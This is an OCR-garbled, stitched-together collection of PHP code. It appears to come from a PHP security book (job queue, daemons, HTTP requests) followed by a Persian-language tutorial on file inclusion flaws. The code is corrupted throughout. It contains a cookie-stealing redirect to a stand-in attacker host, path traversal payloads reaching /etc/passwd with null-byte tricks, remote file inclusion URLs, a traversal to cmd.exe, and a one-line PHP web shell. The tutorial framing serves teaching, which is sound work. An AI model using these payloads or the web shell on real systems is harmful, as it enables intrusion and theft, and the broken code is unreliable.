if ( !$result ) {
throw new Exception( "Error on query $query
-- " . $this->db->error() );

}

// fetch row, return FALSE if no rows found
$row = $result->fetch_assoc();
if ( empty( $row ) ) return FALSE;

// load row into job object

foreach( $row AS $key=>$value ) {
$this->{$key} = $value;

}
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return $this->id;

}

// start() method marks a job as being in progress
public function start() {
// id must be numeric
if ( !is_numeric( $this->id ) ) {
throw new Exception( "Job ID must be a number." );

}

// build and perform UPDATE query

$query = "UPDATE jobs SET started=now(), status='running'
WHERE id='$this->id" ";

$result = $this->db->query( $query );

if ( !$result ) {
throw new Exception( "Unable to update job using query $query
-- " . $this->db->error() );

}

// load record back from db to get updated fields
$this->load();

return TRUE;

} }
~ /)
// finish() method marks a job as completed
public function finish( $status="done' ) {
// id must be numeric
if ( !is_numeric( $this-»id ) )
throw new Exception( "Job ID must be a number." );

// build and perform UPDATE query
t  $query = "UPDATE jobs
1 SET finished=now(),
A result="{$this->esc($this->result)}’,
status="{$this->esc($status)}'
WHERE id='$this->id' ";
$result = $this->db->query( $query );

if ( !$result ) {
throw new Exception( "Unable to update job using query $query
-- " . $this->db->erroxr() );
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// load record back from db to get updated fields
$this->load();

return TRUE;
}

// esc() utility escapes a string for use in a database query
public function esc( $string ) {
return $this->db->real escape string( $string );

}

// end of jobManager class

}
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<?php

// log file
$log = "mp3Processor.log’;

// limit on number of concurrent processes
$concurrencylimit = 2;

// dropFolder
$dropFolder = '/tmp/mp3drop’;

// audio encoding command
$lame = '/opt/local/bin/lame --quiet ';

// get process ID
$pid = posix getpid();

// check for .wav files and .job files
$dir = dir( $dropFolder );

$wavs = array();

$jobs = array();
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/! check drop folder for lockfiles (with .job extension) and .wav files
while( $entry = $dir->read() ) {
$path = $dropFolder . '/' . $entry;
if ( is dir( $path ) ) continue;
$pathinfo = pathinfo( $path );
if ( $pathinfo[ 'extension'] ) === 'job' ) {
$filename = $pathinfo[ 'basename’];
$jobs[ $filename ] = $dropFolder .
continue;

}

/' . $filename;

if ( $pathinfo[ 'extension'] === 'wav' ) {
$wavs[] = $path;
}

}

$dir->close();
unset( $dir );

// mp3Processor.php continues
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// continues mp3Processor.php

if ( empty( $wavs ) ) {
processorLog( "No wavs found." );

}

else {
// for each .wav found, check to see if it's being handled
// or if there are too many jobs already active
foreach( $wavs AS $path ) {
if ( !in_array( $path, $jobs ) & count( $jobs ) < $concurrencylLimit ) {
// ready to encode
processorLog( "Converting $path to mp3." );

// create a lockfile

$pathinfo = pathinfo( $path );

$lockfile = $pathinfo[ 'dirname'] . '/' . $pathinfo['basename'] . '.job'.;
touch( $lockfile );

// run at lowest priority
proc_nice( 20 );

// escape paths that are being passed to shell
$fromPath = escapeshellarg( $path );

$toPath = escapeshellarg( $path . '.mp3' );
(A

// carry out the encoding
$result = shell exec( "$lame $fromPath $toPath" );
if ( $result ) {
processorLog( "Conversion of $path resulted in errors: $result" );

}
else {
processorLog( "Conversion of $path to MP3 is complete." );

}

exit();
( // end if ready to encode

3

// end foreach $wavs as $path

}

// end if $wavs

}
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// 1ib

function processorLog( $message ) {
global $log, $pid;
$prefix = date('r') . " [$pid]";
$fp = fopen( $log, 'a' );
fwrite( $fp, "$prefix $message\r\n" );
fclose( $fp );
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<?php

// schedule signals
declare( ticks =1 );

// set up signal handlers
pcntl signal( SIGTERM, "sig handler" );
pcntl signal( SIGHUP, "sig handler" );

// log file
$log = 'changeOwnershipDaemon.log';

// make sure we're root
if ( posix getuid() !'=0) {
exit( "changeOwnershipDaemon must be run as root.\r\n" );

}

// limit paths
$allowedPaths = array( '/tmp', '/home/csnyder/uploads' );

/) T
// db config
$dbuser = 'username';
$dbpass = 'password';
$dbhost = 'localhost’;
$dbname = 'pps’;

// changeOwnershipDaemon.php continues
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// continues changeOwnershipDaemon.php

// import job queue manager class
include_once( 'jobManagerClass.php' );

// create daemon

$fork = pcntl_fork();

if ( $fork === -1 ) {
exit("Could not fork.\r\n");

}
elseif ( $fork ) {

// script exits, leaving daemon running
exit("Started background permissionsDaemon with PID $fork.\r\n");

}

// daemon gets its own process ID
$dpid = posix_getpid();

// daemon detaches from the controlling terminal
if ( !posix setsid() ) {

dlog( "Daemon could not detach." );

exit();
}

dlog( "Daemon running." );

// loop forever watching for queued jobs
while ( TRUE ) {
/! sleep for 5 seconds each loop
sleep( 5 );

// changeOwnershipDaemon.php continues
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// continues changeOwnexrshipDaemon.php

// db connection
$db = new mysqli ( $dbhost, $dbuser, $dbpass, $dbname );

// create a new job queue manager object
try {
$job = new jobManager( $db );
}
catch ( Exception $e ) {
exception handler( $e );

}

// fetch next outstanding job in queue
while ( $job->next() ) {
try {
$job->start();
}
catch ( Exception %e ) {
exception handler( $e );
}
NS
{/ parse request
list( $command, $owner, $path ) = explode( ' ', $job->request };
dlog( "Starting job $job->id: $command $owner $path ... " );

/{ check for complete change(wnership request

if ( $command != 'changeOwnership' || empty( $owner ) || empty( $path ) ) {
$job-»result = "Invalid command”;
$job-»status = 'error’;

}

{{ check for vieclations in allowed path
$allowed = FALSE;
foreach( $allowedPaths AS $pathpart ) {
{/ look for match against allowed paths
if ( substr( $path, 0, strlen( $pathpart ) ) == $pathpart ) {
$allowed = TRUE;
break;
}
}

{{ check also for double-dots in path

if ( !$allowed || strpos( $path, ".." ) ) {
$job->result = "Invalid path”;
$job->status = "error’;

}
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// if no errors, then carry out request

if ( $job->status != 'error' ) {
$success = @chown( $path, $owner );
if ( !$success ) {

$job->result = "Could not chown( $path, $owner )";

$job->status = ‘exror’;
¥
else {
$job->result = "OK";
$job->status = 'done’;

¥
¥

// save job
try {
$job->finish( $job->status );
¥
catch ( Exception $e ) {
exception_handler( $e );

¥
dlog( "Finished job $job->id: $job->status” );

w2
// close db connection
$db->close();

// unset db and job
unset( $db, $job );

// log every hour
if ( lisset( $lastlog ) || ( date( 'i' ) == '00'
&& date( 'h' ) != $lastlog ) ) {
dlog( date( 'r' ) );
$lastlog = date( 'h' );
¥

// end while( TRUE ) loop

\// changeOwnershipDaemon.php continues
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// continues changeOwnershipDaemon.php

// 1ib
function dlog( $message ) {
global $log, $dpid;
$fp = fopen( $log, 'a' );
fwurite( $fp, "$dpid $message\r\n" );
fclose( $fp );
}

function exception handler( $e ) {
global $dpid;

// log exception
dlog( 'Caught exception:

. $e->getMessage() );

// send TERM signal to self
posix kill( $dpid, SIGTERM );
}
W
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function sig handler( $signo ) {
global $child, $children;
dlog( "Received signal $signo." );

switch ($signo) {
case SIGTERM:
// handle shutdown tasks
dlog( "Terminating." );
exit();
break;

case SIGHUP:
// handle restart tasks
dlog( "Restarting." );
shell exec( 'php permissionsDaemon.php > /dev/null 2>81 &' );
exit();
break;

default:
// handle any other signals
dlog( "Unhandled signal." );

}
}
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<?php

// config
$newowner = 'csnyder’;

// db connection

$dbuser = 'username';
$dbpass = 'password’;
$dbhost = 'localhost’;
$dbname = 'pps';

$db = new mysqli ( $dbhost, $dbuser, $dbpass, $dbname );

// for demo purposes, create a new temp file
$path = tempnam( '/tmp', 'changeOwnershipDemo' );
file put contents( $path, rand( 0, 86400 ) );

// create a new job object
include once( 'jobManagerClass.php' );

try {
$newjob = new jobManager( $db );

“,

—_ N\
.// set request to change ownership of file
$newjob->request = "changeOwnership $newowner $path”;

// add job to queue
$newjob->insert();

}

catch ( Exception $e ) {
exit( 'jobManager Error:

}

. $e->getMessage() );

// dump new job record for demo purposes

exit( "<pre>" . print r( $newjob, 1) );

7>
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18766 Daemon running.

18766 Thu, 07 Jul 2005 10:51:52 -0400

18766 Starting job 15: changeOwnership csnyder /tmp/changeOwnershipDemoZbblYA ...
18766 Finished job 15: done

18766 Starting job 16: changeOwnership csnyder /tmp/changeOwnershipDemofwQ71G ...
18766 Finished job 16: done

18766 Starting job 17: changeOwnership csnyder /tmp/changeOwnershipDemonqQsxx .
18766 Finished job 17: done
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<?php

// dropFolder should be outside document root
$dropFolder = '/tmp/mp3drop’;

// use SCRIPT NAME as $uri in forxms and links
$uri = $ SERVER[ 'SCRIPT NAME' ];

// set header and footer
$header = '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.0rg/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.0rg/1999/xhtml" xml:lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>mp3Interface.php</title>
</head>
<body>";
$footer = '</body></html>';

// mp3Interface.php continues
N
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// continues mp3Interface.php

// application logic
if (empty( $ GET['ticket'] ) ) {

if ( empty( $ POST['encode'] ) ) {

// show form

print $header;

7>

<h3>Encode Audio Using HTTP POST</h3>

<form action="$uri' method="post' enctype='multipart/form-data' >
<input type='file' name='input' size='40" />
<input type='submit' value="Encode' />

</form>
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<p>&nbsp; </p>

<h3>0R Pick Up An Encoded File</h3>

<form action="$uri' method="get">
ticket: <input type="text' name="ticket' size="36" />
<input type='submit' value='Pickup' />

</form>

<?php

print $footer;

// mp3Interface.php continues
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// continues mp3Interface.php
else { // $_POST['encode'] is not empty
// process uploaded audio file
$upload = $ FILES['input']['tmp name'];

// check that input file is in correct format
// nb: this trusts the browser to identify audio files correctly
/! a server-side test could be used instead
if ( $ _FILES['input']['type'] != 'audio/x-wav' ) {
exit( 'Error: wrong Content-Type, must be audio/x-wav.' );

}

// generate ticket
$ticket = unigid( "mp3-" );

// build dropPath
$dropPath = "$dropFolder/$ticket.wav";

// get file, save in dropFolder
if ( !move uploaded file( $upload, $dropPath ) ) {
exit( "Error: unable to place file in queue." );

}

// set permissions...
chmod( $dropPath, 0644 );
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// show initial wait message
print $header;
print "<h1>Your MP3 will be ready soon!</h1>
<p>Your ticket number is $ticket.</p>
<p><a href="$uri?ticket=$ticket'>Redeem it.</a></p>";
print $footer;
exit();
} // end POST['encode'] is not empty
} // end if ( empty( $_GET['ticket'] ) )

// mp3Interface.php continues i )
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// continues mp3Interface.php

else { // $ CET['ticket'] is not empty
// attempt to redeem ticket
$ticket = $ GET['ticket'];

// sanitize filename

if ( strpos( $ticket, '.' ) l== FALSE ) {
exit( "Invalid ticket." );

}

// encoded file is:
$encoded = "$dropFolder/$ticket.wav.mp3”;
$original = "$dropFolder/$ticket.wav";

// check for invalid ticket, waiting ticket, or ready mp3
if ( !is readable( $original ) ) {
print $header;
print "<h1>Ticket Not Found</h1>
<p>There are no files in the queue matching that ticket.
<a href="$uri'>Encode a new file.</a>
</p>";
print $footer;
exit();
}
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elseif ( !is readable( $encoded ) ) {
print $header;
print "<hi>Your MP3 is not ready yet.</h1>
<p>Encoding may take up to 10 minutes.
<a href="$uri?ticket=$ticket'>Try again.</a>
</p>";
print $footer;
exit();
}
else {
// read the file and send it
$mp3 = file get contents( $encoded );
header( 'Content-Type: audio/mp3' );
header( 'Content-Length: ' . strlen( $mp3 ) );
print $mp3;

// remove original (which we own)
$original = "$dropFolder/$ticket.wav";
unlink( $original );

// done
exit();

}
} // end $ GET['ticket'] is not empty
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<?php

// setup

$serverDomain = 'localhost’;

$serverPort = 80;

$HTTPrequest = "GET /info.php HTTP/1.0\r\n";
$HTTPrequest .= "Host: $serverDomain\r\n";
$HTTPrequest .= "Connection: close\r\n\r\n";

// allow 1.5 seconds for connection
$connectionTimeout = 1.5;

// allow remote server 2 seconds to complete response
$responseTimeout = 2;

// open socket stream to send request
$conn = fsockopen( $serverDomain, $serverPort, $errno,
$errstr, $connectionTimeout );
if ( !$conn ) {
throw new Exception ( "Unable to connect to web services server: $errstr" );
}
else {
// set response timeout
stream set blocking( $conn, TRUE );
stream set timeout( $conn, $responseTimeout );
}
X/
// make request
fwrite( $conn, $HTTPrequest );

// get response
$response = stream get contents( $conn );

// did it time out?
$meta = stream get meta data( $conn );
if ( $meta['timed out'] ) {
throw new Exception ( "Response from web services server timed out." );

}

// close socket
fclose( $conn );
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<?php

// setup

$serverDomain = 'localhost’;

$serverPort = 80;

$HTTPRequest = "GET /latest.rss HTTP/1.0\r\n";
$HTTPRequest .= "Host: $serverDomain\r\n";
$HTTPRequest .= "Connection: close\r\n\r\n";

// cache settings in seconds
$cacheDir = '/tmp/wscache';
$cacheMaxAge = 60;

// make sure we can use cache
if ( !is_dir( $cachedir ) ) {
if ( Imkdir( $cacheDir ) ) {
throw new Exception( "Could not create cache directory." );
}
}
if ( !is_writable( $cacheDir ) ) {
throw new Exception( "Cache directory not writeable" );

}

// use hash of request as name of cache file
$hash = md5( $HTTPRequest );
$cacheFile = $cacheDir . '/' . $hash;

// cache file expires after 60 seconds
$cacheExpiration = time() - $cacheMaxAge;

~
~

// if cache file exists and is fresher than expiration time, use it

if ( is_readable( $cachefFile ) &&
filemtime( $cacheFile ) > $cacheExpiration ) {
$response = file get contents( $cacheFile );

// ... display the feed

v/ O
i/

1

else {
// ... request new feed from remote server

// save in cache
file put contents( $cacheFile, $response );
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<?php

// configure
if ( lempty( $ POST['productid'] ) ) {
// for demonstration purposes, sanitizing is omitted here
$productid = $ POST['productid'];
$serviceHost = "products.example.com”
$serviceURI = "/lookup.php?id=$productid”;

// build the HTTP request

$request = "HTTP/1.0 CET $serviceURI\r\n";
$request .= "Host: $serviceHost\r\n
$request .= "Connection: Close\r\n\r\n";

// make a network connection

$fp = fsockopen( $serviceHost, 80 );
// set it to blocking mode
stream set blocking( $fp, 1 );

// send the request
furite( $fp, $request );

// get response
$response = stream get contents( $fp );

}
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$productid = (int) $ POST['productid'];
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HTTP/1.x 302 Found

Date: Sun, 12 Jun 2005 23:07:46 GMT

Server: Apache/2.0.54 (Unix) PHP/5.0.4

X-Powered-By: PHP/5.0.4

Location: /lookup.php?id=123

Location: http://reallybadguys.com/gotcha.php?cookie=$ COOKIE
Content-Length: 0

Keep-Alive: timeout=15, max=100

Connection: Keep-Alive
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<body>

password:

</body> 7
fu‘:-l Lol o o o0 Comppiblie iy b s A8 1l (ol Sppo w0 1) i S

Coils sl g e\,w@bd&ﬁu,w Slase, 035 Glewal .y 53 45 Welcome to system

J}Mrb‘)}wﬂ‘)bm‘)N J)}.p)bjbwwﬁb&_il.mb))wu;&}d‘fL;OJSJUJLS«

Sy g patie ple Sogn S pl by apd e\ Ry AMIN i
<? i
. ¥pass = strtolower(mdS5S(s_FOST['pass'])):
° $spass = "delb2a7baf7850243dbT71cdabd4e5a39
\\E'if{$pass == $$pass)|{
§® $admin= 1;
}
if ($admin==1)|
{
echo "Welcome to the system";
lelse
echoe "Enter Correct Password™;
}
>
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passwoerd:

D% %?Uﬁwu \O.LY

s Lowa laC ;'\‘j‘ oalai! J..[Jgi.v b ) P M; w\ ..‘jl’.gfa 45‘_5.1&&).,\:)_) )‘ <.$'<'~'~
23lde (amio O 53 laccis 5l eslinad Q)M}J)M@‘ Ok 5L A Las s (6 polie
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e

<?
sessicn_start():

=

<html>
<bocdy>

password:

</body>
Dt§</html>

%
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<7
spass = strteolower(mdS5($_FOST['pass'l))»
$spass = "delbZ2zaT7bkaf7850243db71cdakbd4e5a39";

if{spass == Sspas3){
_SESSICN['admin'] = 1;

]

=
}
if(s SESSICON['admin']==1)
{

echc "Welcome tco the system™;
lelse{ 9
echc "Enter Correct Password"™: .
Q
}
2> P

LT ugs o
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<?
setcookie ('cookiename', 'value', 'expiration time', 'pacth’,
'domain', 'secure connectiocn');

x

<2
if (empty(5_CCOKIE["password'])){
$pass = strtolower(mdS({(s PCOST['pass'])):
SsSpass = "delklZ2aT7bafTES0243db7lcdabd4i=s5a239";
}
iZf({(spass == &SsSpass) or (5 _COOKIE['usermame'] == S$s5pass )){
if(l!issetc (5_CCOKIE|['"password'])){
setccocokie ("password', 'delb2a7kbaf7850243db71cd4abd4e5a39",
Ttime ()+50*50) ;
}
echo "Welcoms to the system”;
}else{
echo "Enter Correct Password<br>";
echo " <html>
<bodyﬂ
<form action=login.php mecthod=P0ST>
rassword:<input tType=password name=pass>
<input type=submit wvalus=ok>
</Eorm>
</bocdy>
</ htmi>";
}
2>
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Require()

Require- once()

Include- once()

Fopen()

File_ get contents() %

I, March 10, 2017.5;16pM wle (s )lie amio cnl 5 ools HARHL & amio S iS55

els L 3 slie WEICOME o« limis 53 5 das o iuled Lo g

<?php Echo "welcome saber ghanbari to yoursite<br/>"; 7>
il w b S 1 ol 68 laus L s (L Sl 6 WEICOME amis s L 4l 51 5

ISPINT ﬁ))g,gWelcome dmio (SAJS (Glal 3 1y Lyl e

<?php

[IWelcome.php with date functior>~

$today = date("F j, Y, g:i a")p )7

echo "Today is ".$today."<br>";

echo "Welcome saber.ghanbari to your site <br/>";

7> /,

wmio 55 Ll Sl 0y LB S s Fob sk led ladS (i g SIS epl plnil g K03 ol
: 3,8 o 2 pe OINClude w55 5l eslizad LS ol .l Welcome

<?

//\Welcomie:php with date function

include (‘home/date.php’);

echo "Welcome saber ghanbari to your site<br>";
7>

Qb o ) e d e ol 3 Sos e,

<?php

/[Template.php
$template = 'yourtempl.php’;
if (is_set($_COOKIE[TEMPLATEY))

YAY
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$template = $ COOKIE[ TEMPLATET;

include ( "/home/templates/” . $template );
7>

A (6 polie oS gl e Sl ap o) g LIB Ol 5 Sole sdalin Sl e 08 Jle ol o
s e Ol Sl Slmio 3 1 pas ke 455l Lo ks o3 55wl sy 2 S S

<?

//Language.php

if($_COOKIE["language"]) {

$llang =$ COOKIE["language"];
}

else

{
$1_array = explode("-",$lang_array[0]);

$llang = $1_array[0];

setcookie("language” $llang,time()+1209600,","","=);
}

include("*/home/lang/".$llang.".php");

7>

S op b i &S 0 d e 4 s LangUOE ax=is 5 ol azi s dS s s S8 sy p b
Lﬁ"‘}}‘)ﬁ ‘)f)GQL)MLny§§Q‘yMOM oﬂD-J‘)‘J\.EA‘UPHP .«\JM QJ)SO\_‘BL.p‘L’)
o Ly ule L5 Olsie 4 1 BNPAP amis €N laie (55 5 sp b b 5k 4 4

. 4SSl s incude
a oS ASen Sl 3 GLLDILY Olge 4 1, SP.PIP amiv as i SP 4 by SS L S Jl-
2 bbb ool & iS00 25 5 1S SIS s Sas 2 b 680 LB e wslsie s
b alse s & s ls 5 home o, 5 .15 53 welcome a=in s home /lang s, 5 .1

Cookies//

language
en
to
language
../welcome
R I I SRR P VP B Pt RUNESISTE
include("/home/lang/../welcome.php");
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Cookies//

language
en
to
language
S Jetc/passwd
Sb?w%ﬁ.mwb@b&uqu-@L;J\Jin@.mﬁaijd\ﬁ\}'uﬁjxﬁ
S e s 5 S 5 S, 1aNQUAGE amivs « lssls 0L Ol /) gty ki

<?

//[Language.php
if($_COOKIE["language"]) {
$llang =$ COOKIE["language"];
}

else

{
$1_array = explode(*-",$lang_array[0]);

$llang = $I_array[0];
setcookie("language”,$llang, tlme()+1209600 .

¥
include("/home/lang/".$lIang.",php");
7>

.J;,A;dﬁ@\P@Q)yd@u&usﬁ&fmmd‘tﬁg%&;,;

include("/home/lang{*$llang.".php™);
s b el ol WG S e ablsl sl Sl 3 LB sl & PHP Wy S amin 8wy o0
&ﬁﬁ&ﬂwmmtﬁjw@;w 2SS S LPHP ce i b pls LU Sl

IR (,L, 2 LJG _iﬂs,\sw\ rMSQJ\}}\J_U.,\) PHp )\ﬁduxwudut};u \y@p
CookleS//
language
en
to

language
L Jetc/passwd %00

Spd o Sl 5 Ohse a b s, e e
include("/home/lang../..l../I..1..I..1..1..]..Ietc/passwd%00.php™);
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passwd%00.php
D g0 e Do pl Sl sl Sl 8
passwd
M (A ol w5 | FOpen b Sl eslinal b oS s sy s Jl

<?php

/lindex.php
include('/home/template/header.php’);
if (isset($_GET[file) {

$fp = fopen("$file" . ".html","r");

}else {

$fp = fopen("main.html", "r");

¥
include('/home/template/footer.php");
7>

Ll 03 Whe 5 Sl 5 Oy 4 Slin
http://www.example.ir/index.php?fiIe:page.htrhl
http://www.example.ir/index.php?file=mair’html

(B3 ol ngfis Amio A L ¢/main Olge 4l L;in:or_é._a (...Jjju,a b
http://www.example.ir/index.php2fife=http://www.hackersite.ir/main
327 oS il b a bl s s, sS s s
http://www.example.ir/indéx;php?file=../../..I..letc/passwd
e 5 ASP s b Sb 4w el PHP caasl 4 st b plicaad g5 00
' ol s CM 4 5038 Silay | Lags 55 405

http://www.example.ir/show.asp?view=../../../.././Windows/system.ini
http://www.example.ir/scripts/..%5c../Windows/System32/cmd.exe?/c+dir
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Bl 3,8 w53 1 lad s b5 Cole oS S8 Ll oS358 g ol nl abs

.oﬂ.'ojJ;Su:.i‘ﬁj}gﬂ.;\)L:a‘_}il.é‘J;SJ}L_IT‘_}J“l.écJ;S\ﬁHJQLAJéla}Q;Jw\Jé
<?
'i.f (isset ($page))

; S
include ($page) ; %u“

?>
ho S

httpz/f / wvww.example . . ir/?page=1ink.php
http:z/f/ wvww.example . ir/?page=—galery.php
hrtp:z/f/ vww.example .ixr/ ?page=contact.php

sladl az e 5 asls y ballex L3y o Page aace 4 ol @z‘-}i Lol e S558 S

% Byt Sl O3 e pael
Sos\

AR o T

I [ | DAM Search I-I-tl

‘ B http//www.example.ir/?page- nopage.php

i W9 CAUsers\Mahdi\Desktap\index html | &

Warning: main(nopage php): failed to open stream: No such file or directory in wwwiexample iflindex php on line 7

35+ | @ CA\Users\Mahdi\Desktop\i... | @ CAUsers\MahdiDeskto... | |

Warning: main(): Failed opening 'nOthing php' for inclusion (include_path="_;\php'pear\") in \www'example.ir'index php on line 7
7R

BRSPS RN &%u Sl oo al a8 Sk s Ol e el lide 55 Job 5 o35 WS L

.\ﬁ\ Ly Obe b Lt el b Sl 5 o CMA e 0 a5 lie Lo s e

a
<72

if (isset(S_GET["cmd*]1))
{

Scmd=%5_ _GET[*cmd"*]>
system{"scmd™) >

exict({):

3

7>
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